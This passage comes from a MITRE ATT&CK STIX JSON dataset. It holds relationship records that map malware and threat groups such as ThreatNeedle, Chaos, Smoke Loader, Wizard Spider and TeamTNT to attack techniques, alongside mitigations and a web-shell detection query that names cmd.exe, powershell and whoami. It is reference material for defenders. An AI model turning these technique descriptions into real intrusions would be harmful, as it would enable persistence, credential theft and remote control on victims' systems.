admin@338)","relationship_type":"uses","source_ref":"malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--25d44b9e-3645-4fe7-96b0-3c2c31b90ac0","created":"2021-11-30T16:13:37.368Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) can be loaded into the Startup folder (`%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\OneDrives.lnk`) as a Shortcut file for persistence.(Citation: Kaspersky ThreatNeedle Feb 2021)","modified":"2022-04-17T18:58:24.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25d4fa6d-4f88-4604-8b9f-cce6f3b5ae4d","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Chaos Stolen Backdoor","description":"Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.","url":"http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"}],"modified":"2020-03-20T23:07:54.267Z","description":"[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.(Citation: Chaos Stolen Backdoor)","relationship_type":"uses","source_ref":"malware--5bcd5511-6756-4824-a692-e8bb109364af","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25d65c10-5fa3-40c1-9e25-936894446178","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more","description":"Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.","source_name":"Talos Smoke Loader July 2018"}],"modified":"2020-03-17T16:34:11.261Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) searches through Outlook files and directories (e.g., inbox, sent, templates, drafts, archives, etc.).(Citation: Talos Smoke Loader July 2018)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25d926a0-d2b5-473d-b27b-fb69cf763b77","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Bankshot Dec 2017","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}],"modified":"2020-02-18T03:40:29.928Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) searches for files on the victim's machine.(Citation: US-CERT Bankshot Dec 2017)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25df53ed-4a07-4e71-8a1b-a84a2571e043","type":"relationship","created":"2020-12-15T01:30:05.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2020-12-15T01:30:05.493Z","description":"[Spark](https://attack.mitre.org/software/S0543) has been packed with Enigma Protector to obfuscate its contents.(Citation: Unit42 Molerat Mar 2020) ","relationship_type":"uses","source_ref":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--25e10d85-b8de-45d9-9c3c-b02e53676f9c","created":"2022-06-03T18:12:09.995Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."},{"source_name":"Dragos Hexane","url":"https://dragos.com/resource/hexane/","description":"Dragos. (n.d.). Hexane. Retrieved October 27, 2019."},{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has registered and operated domains for campaigns, often using a security or web technology theme or impersonating the targeted organization.(Citation: SecureWorks August 2019)(Citation: Dragos Hexane)(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-08-31T15:59:09.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25e11828-0e27-4eb6-afb6-5c048ae9189b","type":"relationship","created":"2019-06-28T17:40:32.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyphort EvilBunny Dec 2014","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}],"modified":"2020-03-17T01:07:34.928Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has executed C2 commands directly via HTTP.(Citation: Cyphort EvilBunny Dec 2014)","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25e301f8-0bb7-4769-94be-ac96b2319c85","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2019-09-09T19:12:32.911Z","description":"(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"malware--414dc555-c79e-4b24-a2da-9b607f7eaf16","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25e695b0-1110-43ab-be79-5e89e3951759","type":"relationship","created":"2019-03-18T14:05:57.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT40 March 2019","url":"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html","description":"Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."}],"modified":"2021-10-04T12:22:40.210Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) used ssh for internal reconnaissance.(Citation: FireEye APT40 March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25e7301f-2207-4d02-aa69-772c222dab70","type":"relationship","created":"2021-08-04T15:42:58.327Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T15:42:58.327Z","description":"[VaporRage](https://attack.mitre.org/software/S0636) has the ability to check for the presence of a specific DLL and terminate if it is not found.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--96eca9b9-b37f-42f1-96dc-a2c441403194","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--25e7ca82-2784-433a-90a9-a3483615a655","created":"2019-04-12T17:01:01.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye WannaCry 2017","description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"},{"source_name":"SecureWorks WannaCry Analysis","description":"Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.","url":"https://www.secureworks.com/research/wcry-ransomware-analysis"},{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"},{"source_name":"LogRhythm WannaCry","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.986Z","description":"(Citation: FireEye APT38 Oct 2018)(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)(Citation: SecureWorks WannaCry Analysis)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25e9205c-3f27-4f93-81ea-b4bc1e3325ac","type":"relationship","created":"2021-10-01T01:57:31.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer TeamTNT September 2020","url":"https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/","description":"Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021."}],"modified":"2021-10-01T01:57:31.871Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has created local privileged users on victim machines.(Citation: Intezer TeamTNT September 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25eb9cd3-80e1-4116-bfd3-fa3819dc2079","type":"relationship","created":"2020-06-16T15:37:50.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Redaman October 2019","url":"https://research.checkpoint.com/2019/ponys-cc-servers-hidden-inside-the-bitcoin-blockchain/","description":"Eisenkraft, K., Olshtein, A. (2019, October 17). Pony’s C&C servers hidden inside the Bitcoin blockchain. Retrieved June 15, 2020."},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:14.350Z","description":"[RTM](https://attack.mitre.org/software/S0148) has resolved [Pony](https://attack.mitre.org/software/S0453) C2 server IP addresses by either converting Bitcoin blockchain transaction data to specific octets, or accessing IP addresses directly within the Namecoin blockchain.(Citation: CheckPoint Redaman October 2019)(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25f5e7b1-4f7f-48e1-b647-16a4ac018357","type":"relationship","created":"2020-07-16T15:23:48.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:23:48.576Z","description":"[Kessel](https://attack.mitre.org/software/S0487) can download additional modules from the C2 server.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--25f63329-0c2e-47cf-ad32-d89ef439f4f7","created":"2022-09-29T16:43:45.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T16:44:25.597Z","description":"(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25fc21a1-4965-4c18-9415-215390eab16c","type":"relationship","created":"2020-02-21T20:46:51.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-11-29T17:22:32.899Z","description":"Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25fc355e-1323-4e51-942d-aa5ddd7d3525","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline.","source_ref":"x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25ffefb1-15cc-4365-b401-b2975494f36b","type":"relationship","created":"2022-03-26T03:47:59.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T13:21:39.667Z","description":"[Mythic](https://attack.mitre.org/software/S0699) can leverage a modified SOCKS5 proxy to tunnel egress C2 traffic.(Citation: Mythc Documentation)","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2606e684-b69d-47fc-822f-279d197a1e7a","created":"2020-01-19T16:59:45.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Requests for Azure AD Roles in Privileged Identity Management","description":"Microsoft. (2023, January 30). Approve or deny requests for Azure AD roles in Privileged Identity Management. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/privileged-identity-management/azure-ad-pim-approval-workflow"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-16T14:05:11.422Z","description":"Ensure that all accounts use the least privileges they require. In Azure AD environments, consider using Privileged Identity Management (PIM) to define roles that require two or more approvals before assignment to users.(Citation: Microsoft Requests for Azure AD Roles in Privileged Identity Management)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2606ed25-9f1d-4e85-822a-af39ce0d8e66","type":"relationship","created":"2020-04-28T12:47:25.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T12:47:25.943Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has made registry modifications to alter its behavior upon execution.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--26088143-9fdc-4fb5-aa04-27ea21836da0","created":"2022-09-27T16:16:32.089Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:16:32.089Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used a script to collect information about the infected system.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2608b224-fb63-4bc6-aa21-ce0537b31861","created":"2024-09-04T21:29:23.155Z","revoked":false,"external_references":[{"source_name":"Talos Manjusaka 2022","description":"Asheer Malhotra & Vitor Ventura. (2022, August 2). Manjusaka: A Chinese sibling of Sliver and Cobalt Strike. Retrieved September 4, 2024.","url":"https://blog.talosintelligence.com/manjusaka-offensive-framework/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T21:29:23.155Z","description":"[Manjusaka](https://attack.mitre.org/software/S1156) extracts credentials from the Windows Registry associated with Premiumsoft Navicat, a utility used to facilitate access to various database types.(Citation: Talos Manjusaka 2022)","relationship_type":"uses","source_ref":"malware--dd2ad3d7-d7ef-4af5-a919-bfe8f2571705","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26099ea8-5af8-4173-b70d-b32bbcbe0732","type":"relationship","created":"2019-06-14T17:17:06.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T17:04:18.808Z","description":"Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--260a6771-1b29-49b6-ad42-6c43e68b11dc","created":"2021-05-26T20:00:53.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.647Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has utilized tools such as [Empire](https://attack.mitre.org/software/S0363), [Cobalt Strike](https://attack.mitre.org/software/S0154), [Cobalt Strike](https://attack.mitre.org/software/S0154), [Rubeus](https://attack.mitre.org/software/S1071), [AdFind](https://attack.mitre.org/software/S0552), [BloodHound](https://attack.mitre.org/software/S0521), Metasploit, Advanced IP Scanner, Nirsoft PingInfoView, and SoftPerfect Network Scanner for targeting efforts.(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2610bdef-0b08-46a8-94f5-cf253f11e5fc","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NSA Cyber Mitigating Web Shells","description":" NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.","url":"https://github.com/nsacyber/Mitigating-Web-Shells"},{"source_name":"Lee 2013","description":"Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.","url":"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T13:36:23.154Z","description":"Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is very similar to the following short payload: (Citation: Lee 2013)\n\n``\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nA web shell is a web script placed on an openly accessible web server to allow an adversary to use the server as a gatway in a network. As the shell operates, commands will be issued from within the web application into the broader server operating system. This analytic looks for host enumeration executables initiated by any web service that would not normally be executed within that environment.\n\nAnalytic 1 - Webshell-Indicative Process Tree\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (ParentImage=\"C:\\\\Windows\\\\System32\\\\*w3wp.exe\" OR ParentImage=\"*httpd.exe\" OR ParentImage=\"*tomcat*.exe\" OR ParentImage=\"*nginx.exe\")\n(Image=\"C:\\\\Windows\\\\System32\\\\cmd.exe OR Image=\"C:\\\\Windows\\\\SysWOW64\\\\cmd.exe\" OR Image=\"C:\\\\Windows\\\\System32\\\\*\\\\powershell.exe OR Image=\"C:\\\\Windows\\SysWOW64\\\\*\\powershell.exe OR Image=\"C:\\\\Windows\\\\System32\\\\net.exe\" OR Image=\"C:\\\\Windows\\\\System32\\\\hostname.exe\" OR Image=\"C:\\\\Windows\\\\System32\\\\whoami.exe\" OR Image=\"*systeminfo.exe OR 